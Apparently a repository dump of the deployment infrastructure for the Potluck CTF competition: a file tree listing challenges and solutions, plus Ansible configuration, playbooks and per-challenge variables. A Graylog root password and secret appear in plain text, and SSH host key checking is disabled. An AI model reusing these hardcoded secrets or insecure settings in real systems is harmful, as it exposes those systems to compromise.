├── .gitmodules ├── LICENSE ├── README.md ├── ansible ├── Makefile ├── README.md ├── ansible.cfg ├── challenges-playbook.yml ├── dev-playbook.yml ├── group_vars │ ├── all.yml │ ├── challenge00.yml │ ├── challenge01.yml │ ├── challenge03.yml │ ├── challenge05.yml │ ├── challenge06.yml │ ├── challenge07.yml │ ├── challenge09.yml │ ├── challenge11.yml │ ├── challenge12.yml │ ├── challenge13.yml │ ├── challenge15.yml │ ├── challenge17.yml │ ├── challenge18.yml │ ├── challenge19.yml │ ├── challenge21.yml │ ├── challenge22.yml │ ├── challenge24.yml │ ├── challenge25.yml │ ├── challenge26.yml │ ├── challenge27.yml │ ├── challenge28.yml │ ├── challenge29.yml │ └── challenge30.yml ├── misc │ ├── gcp-scp-wrapper.sh │ └── gcp-ssh-wrapper.sh ├── potluckctf-playbook.yml └── roles │ ├── challenge-01 │ └── tasks │ │ └── main.yml │ ├── challenge-11 │ ├── files │ │ ├── challenge11.service │ │ └── config.json │ ├── handlers │ │ └── main.yml │ ├── tasks │ │ └── main.yml │ └── templates │ │ └── docker-compose.yml.j2 │ ├── challenge-17 │ ├── files │ │ ├── challenge17.service │ │ └── config.json │ ├── handlers │ │ └── main.yml │ ├── tasks │ │ └── main.yml │ └── templates │ │ └── docker-compose.yml.j2 │ ├── challenge-25 │ ├── files │ │ ├── challenge25.service │ │ └── deploy_bundle.tar.gz │ ├── handlers │ │ └── main.yml │ └── tasks │ │ └── main.yml │ ├── challenge-docker │ ├── files │ │ └── config.json │ └── tasks │ │ └── main.yml │ ├── docker │ ├── handlers │ │ └── main.yml │ ├── tasks │ │ └── main.yml │ └── templates │ │ └── daemon.json │ ├── grafana │ ├── handlers │ │ └── main.yml │ └── tasks │ │ └── main.yml │ ├── graylog │ ├── files │ │ ├── disable-transparent-huge-pages.service │ │ ├── graylog-server.service │ │ └── opensearch.yml │ ├── handlers │ │ └── main.yml │ └── tasks │ │ └── main.yml │ ├── nginx │ ├── handlers │ │ └── main.yml │ └── tasks │ │ └── main.yml │ ├── node_exporter │ ├── files │ │ ├── node_exporter.service │ │ ├── node_exporter.socket │ │ └── sysconfig.node_exporter │ ├── handlers │ │ └── main.yml │ └── tasks │ │ └── main.yml │ ├── prometheus │ ├── files │ │ └── prometheus.service │ ├── handlers │ │ └── main.yml │ ├── tasks │ │ └── main.yml │ └── templates │ │ └── prometheus.yml.j2 │ ├── rsyslog │ ├── handlers │ │ └── main.yml │ ├── tasks │ │ └── main.yml │ └── templates │ │ └── 20-send-logs.conf │ ├── scoreboard │ └── tasks │ │ └── main.yml │ └── serversetup │ ├── handlers │ └── main.yml │ └── tasks │ └── main.yml ├── challenge-delivery ├── form-notification.gs └── notes.txt ├── challenge-deployment ├── Makefile ├── challenge-00 │ ├── Dockerfile │ ├── Makefile │ ├── challenge.yml │ └── cowsay.sh ├── challenge-01 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-03 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-04 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-05 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-06 │ ├── .gitignore │ ├── Dockerfile │ ├── Makefile │ └── challenge.yml ├── challenge-07 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-08 │ ├── .gitignore │ ├── Makefile │ ├── challenge.yml │ ├── convert-terraform.py │ └── enchiladas.mxc ├── challenge-09 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-10 │ └── challenge.yml ├── challenge-11 │ ├── .gitignore │ ├── Dockerfile-bot.override │ ├── Makefile │ └── challenge.yml ├── challenge-12 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-13 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-14 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-15 │ ├── .gitignore │ ├── Makefile │ ├── challenge.yml │ └── solve.txt ├── challenge-16 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-17 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-17b │ └── challenge.yml ├── challenge-18 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-19 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-21 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-22 │ ├── .gitignore │ ├── Dockerfile │ ├── Makefile │ ├── challenge.yml │ └── v2.Dockerfile ├── challenge-23 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-24 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-25 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-26 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-27 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-28 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-29 │ ├── .gitignore │ ├── Makefile │ └── challenge.yml ├── challenge-30 │ ├── .gitignore │ ├── Dockerfile │ └── Makefile ├── ctf.yml └── template.Makefile ├── challenges ├── README.md ├── challenge-01 │ ├── README.md │ ├── challenge.yml │ ├── service │ │ ├── Dockerfile │ │ └── entrypoint.sh │ ├── solution │ │ ├── evil_id_ed25519 │ │ ├── solve-helper.sh │ │ └── solve.sh │ └── vm-files │ │ ├── entrypoint │ │ ├── serial-getty@ttyS0.service │ │ └── ubuntu.nspawn ├── challenge-03 │ ├── Cargo.lock │ ├── Cargo.toml │ ├── Dockerfile │ ├── challenge.yml │ ├── ctf.xinetd │ ├── flag.txt │ ├── solution │ │ └── solve.py │ ├── src │ │ └── main.rs │ └── start.sh ├── challenge-04 │ ├── challenge.yml │ ├── challenge │ │ ├── .envrc │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── README.md │ │ ├── crates │ │ │ ├── charming-circuit-challenge │ │ │ │ ├── Cargo.toml │ │ │ │ ├── assets │ │ │ │ │ ├── fonts │ │ │ │ │ │ └── FiraSans-Bold.ttf │ │ │ │ │ ├── materials │ │ │ │ │ │ ├── cube.mat.ron │ │ │ │ │ │ ├── edge_active1.mat.ron │ │ │ │ │ │ ├── edge_active2.mat.ron │ │ │ │ │ │ ├── edge_double_active.mat.ron │ │ │ │ │ │ ├── edge_inactive.mat.ron │ │ │ │ │ │ ├── edge_overactive1.mat.ron │ │ │ │ │ │ ├── edge_overactive2.mat.ron │ │ │ │ │ │ ├── edges.mat.ron │ │ │ │ │ │ ├── glass.mat.ron │ │ │ │ │ │ ├── node_active.mat.ron │ │ │ │ │ │ ├── node_active_next2.mat.ron │ │ │ │ │ │ ├── node_active_next3.mat.ron │ │ │ │ │ │ ├── node_active_next4.mat.ron │ │ │ │ │ │ ├── node_inactive1.mat.ron │ │ │ │ │ │ ├── node_inactive2.mat.ron │ │ │ │ │ │ ├── node_inactive3.mat.ron │ │ │ │ │ │ ├── node_inactive4.mat.ron │ │ │ │ │ │ └── nodes.mat.ron │ │ │ │ │ ├── models │ │ │ │ │ │ └── signpost.glb │ │ │ │ │ ├── scenes │ │ │ │ │ │ └── sign.scn.ron │ │ │ │ │ ├── shaders │ │ │ │ │ │ └── ourmaterial.wgsl │ │ │ │ │ ├── static_camera.transform.ron │ │ │ │ │ ├── textures │ │ │ │ │ │ ├── edge_active1.png │ │ │ │ │ │ ├── edge_active2.png │ │ │ │ │ │ ├── edge_double_active.png │ │ │ │ │ │ ├── edge_inactive.png │ │ │ │ │ │ ├── edge_overactive1.png │ │ │ │ │ │ ├── edge_overactive2.png │ │ │ │ │ │ ├── make_edges.py │ │ │ │ │ │ ├── make_nodes.py │ │ │ │ │ │ ├── node_active.png │ │ │ │ │ │ ├── node_active_next2.png │ │ │ │ │ │ ├── node_active_next3.png │ │ │ │ │ │ ├── node_active_next4.png │ │ │ │ │ │ ├── node_inactive1.png │ │ │ │ │ │ ├── node_inactive2.png │ │ │ │ │ │ ├── node_inactive3.png │ │ │ │ │ │ └── node_inactive4.png │ │ │ │ │ ├── world.wirelang │ │ │ │ │ └── world.wiremap │ │ │ │ └── src │ │ │ │ │ ├── assets │ │ │ │ │ ├── capless_cylinder.rs │ │ │ │ │ ├── character.rs │ │ │ │ │ ├── main.rs │ │ │ │ │ ├── map.rs │ │ │ │ │ ├── map_sync.rs │ │ │ │ │ ├── material.rs │ │ │ │ │ ├── material_properties.rs │ │ │ │ │ ├── sign.rs │ │ │ │ │ ├── simulation.rs │ │ │ │ │ ├── static_transform.rs │ │ │ │ │ ├── ui.rs │ │ │ │ │ ├── util.rs │ │ │ │ │ └── wirelang.rs │ │ │ ├── map │ │ │ │ ├── Cargo.toml │ │ │ │ └── src │ │ │ │ │ └── lib.rs │ │ │ └── wirelang │ │ │ │ ├── Cargo.toml │ │ │ │ ├── build.rs │ │ │ │ ├── examples │ │ │ │ ├── interpret.rs │ │ │ │ └── parse.rs │ │ │ │ └── src │ │ │ │ ├── ast.rs │ │ │ │ ├── error.rs │ │ │ │ ├── grammar.lalrpop │ │ │ │ ├── grammar_helper.rs │ │ │ │ ├── interpret.rs │ │ │ │ ├── lexer.rs │ │ │ │ └── lib.rs │ │ ├── flake.lock │ │ ├── flake.nix │ │ └── ttf2mesh-sys │ │ │ ├── .cargo_vcs_info.json │ │ │ ├── Cargo.toml │ │ │ ├── Cargo.toml.orig │ │ │ ├── README.md │ │ │ ├── build.rs │ │ │ ├── src │ │ │ └── lib.rs │ │ │ ├── ttf2mesh │ │ │ ├── LICENSE │ │ │ ├── README.md │ │ │ ├── debug-app-qt │ │ │ │ ├── debug-app.pro │ │ │ │ ├── gen_linalgd.py │ │ │ │ ├── linalg.c │ │ │ │ ├── linalg.h │ │ │ │ ├── linalgd.c │ │ │ │ ├── linalgd.h │ │ │ │ ├── linalgf.c │ │ │ │ ├── linalgf.h │ │ │ │ ├── main.cpp │ │ │ │ ├── mainwindow.cpp │ │ │ │ ├── mainwindow.h │ │ │ │ ├── mainwindow.ui │ │ │ │ ├── poly2tri │ │ │ │ │ ├── common │ │ │ │ │ │ ├── shapes.cc │ │ │ │ │ │ ├── shapes.h │ │ │ │ │ │ └── utils.h │ │ │ │ │ ├── poly2tri.h │ │ │ │ │ └── sweep │ │ │ │ │ │ ├── advancing_front.cc │ │ │ │ │ │ ├── advancing_front.h │ │ │ │ │ │ ├── cdt.cc │ │ │ │ │ │ ├── cdt.h │ │ │ │ │ │ ├── sweep.cc │ │ │ │ │ │ ├── sweep.h │ │ │ │ │ │ ├── sweep_context.cc │ │ │ │ │ │ └── sweep_context.h │ │ │ │ ├── qmplot.cpp │ │ │ │ ├── qmplot.h │ │ │ │ ├── qmwrap.cpp │ │ │ │ ├── qmwrap.h │ │ │ │ ├── textrenderer.cpp │ │ │ │ ├── textrenderer.h │ │ │ │ └── uranges.h │ │ │ ├── examples │ │ │ │ ├── build-any-qmake │ │ │ │ │ ├── common.pri │ │ │ │ │ ├── glyph3d.pro │ │ │ │ │ ├── simple.pro │ │ │ │ │ └── ttf2obj.pro │ │ │ │ ├── build-linux-make │ │ │ │ │ └── Makefile │ │ │ │ ├── build-win-msvc │ │ │ │ │ ├── glyph3d.vcxproj │ │ │ │ │ ├── simple.vcxproj │ │ │ │ │ └── ttf2obj.vcxproj │ │ │ │ └── src │ │ │ │ │ ├── common │ │ │ │ │ ├── glwindow.c │ │ │ │ │ └── glwindow.h │ │ │ │ │ ├── glyph3d.c │ │ │ │ │ ├── simple.c │ │ │ │ │ └── ttf2obj.c │ │ │ ├── ttf2mesh.c │ │ │ └── ttf2mesh.h │ │ │ └── wrapper.h │ └── solution │ │ └── solve.py ├── challenge-05 │ ├── challenge.yml │ ├── docker │ │ ├── Dockerfile │ │ ├── build.sh │ │ ├── config │ │ │ ├── admin.properties │ │ │ ├── cups-browsed.conf │ │ │ ├── cupsd.conf │ │ │ ├── papersize │ │ │ ├── printers.conf │ │ │ ├── server.conf │ │ │ └── supervisor │ │ │ │ └── supervisord.conf │ │ └── readflag.c │ └── solution │ │ └── exploit.py ├── challenge-06 │ ├── Dockerfile │ ├── OTHER_LICENSES │ ├── README.md │ ├── challenge.yml │ ├── release_build │ │ ├── 0bbfd16a │ │ │ ├── 054d7b96 │ │ │ ├── d1475a3a │ │ │ └── e82bed4f │ │ ├── 15c93851 │ │ │ ├── 3019d862 │ │ │ ├── 6c523086 │ │ │ ├── 844af54e │ │ │ ├── 8d5e5184 │ │ │ └── cd3f3a04 │ │ ├── e410c307 │ │ │ ├── 0bafe770 │ │ │ └── c03bc6b3 │ │ ├── hypertextos │ │ └── index.html │ └── release_source │ │ ├── build.sh │ │ ├── drivers │ │ ├── js │ │ │ ├── driver_entry.asm │ │ │ ├── js_driver.c │ │ │ ├── modf.c │ │ │ └── strtod.c │ │ └── vm │ │ │ ├── driver_entry.asm │ │ │ ├── vm.c │ │ │ └── vm_driver.c │ │ ├── kernel │ │ ├── a20.c │ │ ├── arith64.c │ │ ├── helper.c │ │ ├── helper.h │ │ ├── interface.h │ │ ├── kernel.c │ │ ├── kernel.h │ │ ├── kernel_entry.asm │ │ ├── netboot.asm │ │ ├── print.c │ │ ├── pxe.c │ │ ├── pxe.h │ │ └── snprintf.c │ │ ├── vm │ │ ├── AES128.java │ │ ├── Obfuscat-v1.1.jar │ │ ├── RC4.java │ │ ├── help.py │ │ └── test_vm.c │ │ └── web │ │ ├── app.js │ │ ├── check.js │ │ ├── encrypt.js │ │ ├── flag.js │ │ ├── rc4js.py │ │ └── verify.js ├── challenge-07 │ ├── Dockerfile │ ├── chall │ │ ├── Makefile │ │ ├── admin │ │ │ ├── flag │ │ │ ├── key.pem │ │ │ └── key.pub │ │ ├── base64.c │ │ ├── base64.h │ │ ├── signature.c │ │ ├── signature.h │ │ └── simple.c │ ├── challenge.yml │ └── solution │ │ ├── exploit.py │ │ ├── send_user_req.sh │ │ ├── spam_flag.py │ │ └── spam_header.py ├── challenge-08 │ ├── challenge.yml │ ├── ctfdescription.txt │ ├── enchiladas.csv │ └── main.rs ├── challenge-09 │ ├── challenge.yml │ ├── challenge │ │ ├── 0001-Store-the-open-file-descriptors-of-the-process-in-it.patch │ │ ├── Dockerfile │ │ ├── Dockerfile.build_system │ │ ├── README.md │ │ ├── debugging-goodies.patch │ │ ├── docker-compose.yml │ │ ├── flag │ │ ├── init │ │ ├── potluck.config │ │ ├── prebuilt_system │ │ │ └── .gitkeep │ │ └── run.sh │ └── solution │ │ ├── README.md │ │ ├── build.py │ │ ├── payload.asm │ │ └── pwn.sh ├── challenge-10 │ ├── README.md │ ├── challenge.yml │ ├── challenges.yaml │ └── user.yaml ├── challenge-11 │ ├── .env │ ├── bot │ │ ├── Dockerfile-bot │ │ ├── bot.js │ │ └── public │ │ │ ├── 49098094583_78bd8fb108.jpg │ │ │ ├── index.html │ │ │ └── style.css │ ├── challenge.yml │ ├── docker-compose.yml │ ├── nginx │ │ ├── Dockerfile-nginx │ │ └── default.conf │ ├── php │ │ ├── 49098094583_78bd8fb108.jpg │ │ ├── Dockerfile-php │ │ ├── icons8-oven-64.png │ │ ├── index.php │ │ └── style.css │ └── solution │ │ └── solve.py ├── challenge-12 │ ├── challenge.yml │ └── challenge │ │ ├── .dockerignore │ │ ├── .gitignore │ │ ├── 0001-linux-user-sw64-fix-syscall-emulation.patch │ │ ├── Dockerfile │ │ ├── build.sh │ │ ├── challenge.c │ │ ├── check-build.sh │ │ ├── flag │ │ ├── launcher.c │ │ ├── pack-release.sh │ │ ├── payload.c │ │ └── solve.py ├── challenge-13 │ ├── Dockerfile │ ├── challenge.yml │ ├── challenge │ │ ├── chall.py │ │ ├── compose.yaml │ │ ├── config.el │ │ └── flag.txt │ └── solution │ │ ├── solution.org │ │ └── solve.py ├── challenge-14 │ ├── challenge.yml │ ├── release │ │ ├── checker.pyc │ │ └── instructions.bin │ └── src │ │ ├── flagchecker │ │ ├── d.py │ │ ├── m.py │ │ ├── q.py │ │ └── t.py │ │ ├── gen.py │ │ ├── instructions.bin │ │ ├── out.pyc │ │ └── unobfuscated.py ├── challenge-15 │ ├── challenge.yml │ ├── challenge │ │ ├── Dockerfile │ │ ├── actual-flag │ │ └── app │ │ │ ├── db.ts │ │ │ ├── fakeDB.ts │ │ │ ├── flag.txt │ │ │ ├── frontend │ │ │ ├── .gitignore │ │ │ ├── .npmrc │ │ │ ├── README.md │ │ │ ├── package-lock.json │ │ │ ├── package.json │ │ │ ├── postcss.config.cjs │ │ │ ├── src │ │ │ │ ├── app.html │ │ │ │ ├── app.pcss │ │ │ │ ├── lib │ │ │ │ │ ├── Card.svelte │ │ │ │ │ ├── brand.js │ │ │ │ │ ├── cookie.js │ │ │ │ │ ├── index.js │ │ │ │ │ └── url.js │ │ │ │ └── routes │ │ │ │ │ ├── +layout.js │ │ │ │ │ ├── +layout.svelte │ │ │ │ │ ├── +page.svelte │ │ │ │ │ ├── inbox.php │ │ │ │ │ └── +page.svelte │ │ │ │ │ ├── index.php │ │ │ │ │ └── +page.svelte │ │ │ │ │ ├── login.php │ │ │ │ │ └── +page.svelte │ │ │ │ │ ├── register.php │ │ │ │ │ └── +page.svelte │ │ │ │ │ └── send-card.php │ │ │ │ │ └── +page.svelte │ │ │ ├── static │ │ │ │ ├── bg.jpg │ │ │ │ ├── castle.png │ │ │ │ └── favicon.png │ │ │ ├── svelte.config.js │ │ │ ├── tailwind.config.cjs │ │ │ └── vite.config.js │ │ │ ├── main-server.ts │ │ │ ├── package-lock.json │ │ │ ├── package.json │ │ │ ├── readflag.c │ │ │ ├── setup.sh │ │ │ ├── start.sh │ │ │ └── tsconfig.json │ └── solution │ │ └── solve.js ├── challenge-16 │ ├── challenge.yml │ ├── challenge │ │ └── upside_down_cake.py │ └── solution │ │ └── solve_udc.sage ├── challenge-17 │ ├── Dockerfile │ ├── README.md │ ├── challenge-a.yml │ ├── challenge-b.yml │ ├── cookmaster │ │ ├── controller │ │ │ ├── .gitignore │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ ├── Dockerfile │ │ │ ├── controller │ │ │ │ ├── .rustfmt.toml │ │ │ │ ├── Cargo.toml │ │ │ │ └── src │ │ │ │ │ └── main.rs │ │ │ └── ecsimple │ │ │ │ ├── .gitignore │ │ │ │ ├── Cargo.toml │ │ │ │ ├── README.md │ │ │ │ └── src │ │ │ │ ├── bngf2m.rs │ │ │ │ ├── consts.rs │ │ │ │ ├── curve.rs │ │ │ │ ├── ecasn1.rs │ │ │ │ ├── errors.rs │ │ │ │ ├── fileop.rs │ │ │ │ ├── group.rs │ │ │ │ ├── keys.rs │ │ │ │ ├── lib.rs │ │ │ │ ├── logger.rs │ │ │ │ ├── mont.rs │ │ │ │ ├── point.rs │ │ │ │ ├── randop.rs │ │ │ │ ├── signature.rs │ │ │ │ └── utils.rs │ │ ├── docker-compose.yml │ │ ├── extract_challenge_files.sh │ │ ├── flag1 │ │ ├── flag2 │ │ ├── heater │ │ │ ├── Dockerfile │ │ │ ├── Makefile │ │ │ ├── heater.c │ │ │ ├── heater.py │ │ │ ├── pubkey.pem │ │ │ └── requirements.txt │ │ ├── privkey │ │ ├── pubkey │ │ ├── recipes.json │ │ └── wait_for_can.sh │ ├── docker-compose.yml │ ├── get_token.py │ ├── interface │ │ ├── cleanup.py │ │ ├── create_canbridge.sh │ │ ├── create_canbus.sh │ │ ├── main.py │ │ ├── requirements.txt │ │ ├── src │ │ │ ├── __init__.py │ │ │ └── container.py │ │ ├── static │ │ │ ├── background.avif │ │ │ └── style.css │ │ └── templates │ │ │ ├── debug.html │ │ │ ├── index.html │ │ │ └── team.html │ └── solution │ │ ├── .gitignore │ │ ├── exploit_crypto.py │ │ ├── exploit_heater.py │ │ ├── randgen │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ └── src │ │ │ └── main.rs │ │ └── requirements.txt ├── challenge-18 │ ├── challenge.yml │ ├── challenge │ │ ├── Dockerfile │ │ ├── FLAG.py │ │ ├── final.py │ │ └── solve.sage │ └── dist │ │ └── final.py ├── challenge-19 │ ├── README.md │ ├── challenge.yml │ ├── challenge │ │ ├── Dockerfile │ │ ├── build.sh │ │ ├── docker-compose.yml │ │ ├── flag.txt │ │ └── main.c │ └── solution │ │ └── solve.py ├── challenge-21 │ ├── README.md │ ├── challenge.yml │ ├── challenge │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── Makefile │ │ └── source.c │ └── solution │ │ ├── exp.py │ │ └── writeup.md ├── challenge-22 │ ├── .gitignore │ ├── Makefile │ ├── challenge-1.yml │ ├── challenge-2.yml │ ├── private │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── app.c │ │ ├── app.ld │ │ ├── bootloader.c │ │ ├── bootloader.ld │ │ ├── build_app_hash.py │ │ ├── exception_handlers.c │ │ ├── exception_handlers.h │ │ ├── ficr.h │ │ ├── flagloader.c │ │ ├── flagloader.ld │ │ ├── flash.py │ │ ├── fwupd_tail.py │ │ ├── fwupd_tail_trace.py │ │ ├── generate_flash_fw.py │ │ ├── glasgow-dual-uart.py │ │ ├── nrf51.ld │ │ ├── nvic.c │ │ ├── nvic.h │ │ ├── nvmc.c │ │ ├── nvmc.h │ │ ├── ranges.h │ │ ├── reset.c │ │ ├── reset.h │ │ ├── sha256.c │ │ ├── sha256.h │ │ ├── solve_dump.py │ │ ├── stack.c │ │ ├── stdlib.c │ │ ├── strtol.c │ │ ├── uart.c │ │ └── uart.h │ └── public │ │ ├── fwupd.py │ │ └── update.sal ├── challenge-24 │ ├── README.md │ ├── challenge.yml │ ├── challenge │ │ ├── Dockerfile │ │ ├── conf │ │ │ └── nginx.conf │ │ ├── docker-compose.yml │ │ ├── njs │ │ │ └── index.js │ │ ├── package.json │ │ ├── pnpm-lock.yaml │ │ ├── www │ │ │ ├── img │ │ │ │ ├── 0.jpg │ │ │ │ ├── 1.jpg │ │ │ │ ├── 2.jpg │ │ │ │ ├── 3.jpg │ │ │ │ └── 4.jpg │ │ │ └── index.xml │ │ └── xsl │ │ │ ├── index.xsl │ │ │ └── spaghetti.xsl │ └── solution │ │ └── solve.py ├── challenge-25 │ ├── challenge.yml │ ├── challenge │ │ ├── Makefile │ │ ├── deploy.flag.txt │ │ ├── hashcash.py │ │ ├── init │ │ ├── pow.py │ │ ├── run.sh │ │ ├── server.py │ │ ├── src │ │ │ ├── .gitignore │ │ │ ├── Makefile │ │ │ ├── dummy_init.c │ │ │ └── service.c │ │ ├── task.service │ │ └── user.flag.txt │ └── solution │ │ ├── .gitignore │ │ ├── Makefile │ │ ├── a.c │ │ ├── powpow.c │ │ └── powpow.py ├── challenge-26 │ ├── Dockerfile │ ├── build │ │ ├── Dockerfile │ │ ├── build.sh │ │ └── chal.c │ ├── challenge.yml │ ├── flag.txt │ └── solution │ │ └── solve.py ├── challenge-27 │ ├── README │ ├── challenge.yml │ ├── deploy │ │ ├── Dockerfile │ │ ├── chall │ │ ├── flag.txt │ │ ├── gordon.bin │ │ ├── kitchen.bin │ │ └── run.sh │ └── source │ │ ├── Makefile │ │ ├── intro.txt │ │ ├── prog │ │ ├── defs.s │ │ ├── functions.s │ │ ├── gordon.asm │ │ ├── helper.s │ │ └── kitchen.asm │ │ ├── solution │ │ └── solve.py │ │ ├── src │ │ ├── main.c │ │ ├── util.c │ │ └── vcpu.c │ │ └── tools │ │ ├── asm.py │ │ ├── cpu_const.py │ │ └── disas.py ├── challenge-28 │ ├── Dockerfile │ ├── challenge.yml │ ├── flag.txt │ └── main.py └── challenge-29 │ ├── challenge.yml │ └── challenge │ ├── Cargo.toml │ ├── Dockerfile │ ├── README.md │ ├── docker-compose.yml │ ├── requirements.txt │ ├── server.py │ ├── solve.py │ └── src │ ├── constants.rs │ ├── firmware.rs │ ├── intrinsics.rs │ ├── peripheral.rs │ ├── rehost.rs │ ├── rng.rs │ └── secret.rs ├── grafana └── dashboard.json ├── hacks ├── backup-notes.txt ├── clear-scoreboard-cache.sh ├── config-challenge-docker.sh ├── iap-connect-scoreboard.sh ├── start-competition.sh └── watflag-setup.txt ├── notes.txt ├── scoreboard ├── convert-scoreboard.py ├── scoreboard-filtered.csv ├── scoreboard.csv └── scoreboard.json ├── scripts ├── check-undelivered.sh ├── connect-challenge.sh ├── connect-monitor.sh ├── connect-scoreboard.sh └── tunnel-challenge.sh └── terraform ├── .gitignore ├── Makefile ├── challenges-custom.tf ├── challenges.tf ├── delivery.tf ├── hosts.tpl ├── hosts.yml ├── main.tf ├── monitoring.tf ├── scoreboard.tf ├── terraform.tfstate └── variables.tf /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "challenges/challenge-06/release_source/drivers/js/elk"] 2 | path = challenges/challenge-06/release_source/drivers/js/elk 3 | url = https://github.com/cesanta/elk.git 4 | 5 | [submodule "challenges/challenge-22/private/printf"] 6 | path = challenges/challenge-22/private/printf 7 | url = https://github.com/mpaland/printf.git 8 | -------------------------------------------------------------------------------- /ansible/Makefile: -------------------------------------------------------------------------------- 1 | deploy: 2 | ansible-playbook -i ../terraform/hosts.yml potluckctf-playbook.yml 3 | 4 | deploy-challenges: 5 | ansible-playbook -i ../terraform/hosts.yml -e upgrade_challenges=true challenges-playbook.yml 6 | 7 | deploy-upgrade: 8 | ansible-playbook -i ../terraform/hosts.yml -e upgrade_challenges=true potluckctf-playbook.yml 9 | 10 | dev: 11 | ansible-playbook -i ../terraform/hosts.yml -e upgrade_challenges=true dev-playbook.yml 12 | 13 | inventory: 14 | ansible-inventory -i ../terraform/hosts.yml --list 15 | 16 | dependencies: 17 | $$(gcloud info --format="value(basic.python_location)") -m pip install numpy 18 | 19 | registry: 20 | docker run --rm -d -p 127.0.0.1:5001:5000 -p 172.17.0.1:5001:5000 --name registry registry:2 21 | 22 | cleanup: 23 | docker stop registry 24 | 25 | .PHONY: deploy dev inventory dependencies registry cleanup inventory 26 | -------------------------------------------------------------------------------- /ansible/README.md: -------------------------------------------------------------------------------- 1 | GCP IAP SSH tunneling config taken from: https://stackoverflow.com/questions/58996471/ansible-gcp-iap-tunnel 2 | -------------------------------------------------------------------------------- /ansible/ansible.cfg: -------------------------------------------------------------------------------- 1 | [defaults] 2 | inventory = hosts 3 | pipelining = True 4 | forks=5 5 | callbacks_enabled = timer, profile_tasks, profile_roles 6 | host_key_checking = False 7 | nocows=1 8 | interpreter_python = /usr/bin/python3 9 | 10 | [inventory] 11 | enable_plugins = host_list, ini, yaml, nmap 12 | 13 | [paramiko_connection] 14 | host_key_auto_add=True 15 | 16 | [ssh_connection] 17 | # Enabling pipelining reduces the number of SSH operations required to 18 | # execute a module on the remote server. This can result in a significant 19 | # performance improvement when enabled. 20 | pipelining = True 21 | ssh_executable = misc/gcp-ssh-wrapper.sh 22 | ssh_args = None 23 | # Tell ansible to use SCP for file transfers when connection is set to SSH 24 | scp_if_ssh = True 25 | scp_executable = misc/gcp-scp-wrapper.sh 26 | -------------------------------------------------------------------------------- /ansible/challenges-playbook.yml: -------------------------------------------------------------------------------- 1 | - name: Setup variables 2 | hosts: all 3 | tasks: 4 | - name: Setup private ips 5 | ansible.builtin.set_fact: 6 | potluckctf_monitor_host: "{{ groups['monitor'][0] }}" 7 | 8 | - name: Setup Challenge 25 9 | hosts: challenge25 10 | roles: 11 | - role: challenge-25 12 | 13 | - name: Setup Challenge 11 14 | hosts: challenge11 15 | roles: 16 | - role: challenge-11 17 | 18 | - name: Setup Challenge 17 19 | hosts: challenge17 20 | roles: 21 | - role: challenge-17 22 | 23 | - name: Setup Challenge 01 24 | hosts: challenge01 25 | roles: 26 | - role: challenge-01 27 | 28 | - name: Setup single container challenges 29 | hosts: docker_single 30 | roles: 31 | - role: challenge-docker 32 | -------------------------------------------------------------------------------- /ansible/dev-playbook.yml: -------------------------------------------------------------------------------- 1 | - name: Setup variables 2 | hosts: all 3 | tasks: 4 | - name: Setup private ips 5 | ansible.builtin.set_fact: 6 | potluckctf_monitor_host: "{{ groups['monitor'][0] }}" 7 | 8 | - name: Setup single container challenges 9 | hosts: docker_single 10 | roles: 11 | - role: challenge-docker 12 | 13 | #- name: Setup Docker servers 14 | # hosts: docker_single 15 | # roles: 16 | # #- role: docker 17 | # - role: challenge-docker -------------------------------------------------------------------------------- /ansible/group_vars/all.yml: -------------------------------------------------------------------------------- 1 | --- 2 | gcp_zone: europe-west3-b 3 | gcp_project: potluck-ctf 4 | ansible_ssh_args: --tunnel-through-iap --zone={{ gcp_zone }} --no-user-output-enabled --quiet 5 | ansible_scp_extra_args: --tunnel-through-iap --zone={{ gcp_zone }} --quiet 6 | 7 | graylog_root_password: "potluckctf" 8 | graylog_secret: "dcYHLAZNWxPwSMqqprrxzdfC7sBRJBHSbpfpBAUXKL/rVUoJUjA4l6OpmzDcmSNc" 9 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge00.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge00" 2 | docker_privileged: true 3 | docker_port: 5000 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge01.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge01" 2 | docker_privileged: true 3 | docker_port: 5000 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge03.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge03" 2 | docker_privileged: false 3 | docker_port: 9999 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge05.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge05" 2 | docker_privileged: false 3 | docker_port: 8631 4 | -------------------------------------------------------------------------------- /ansible/group_vars/challenge06.yml: -------------------------------------------------------------------------------- 1 | challenge: "challenge06" 2 | docker_privileged: false 3 | docker_port: 80 4 | 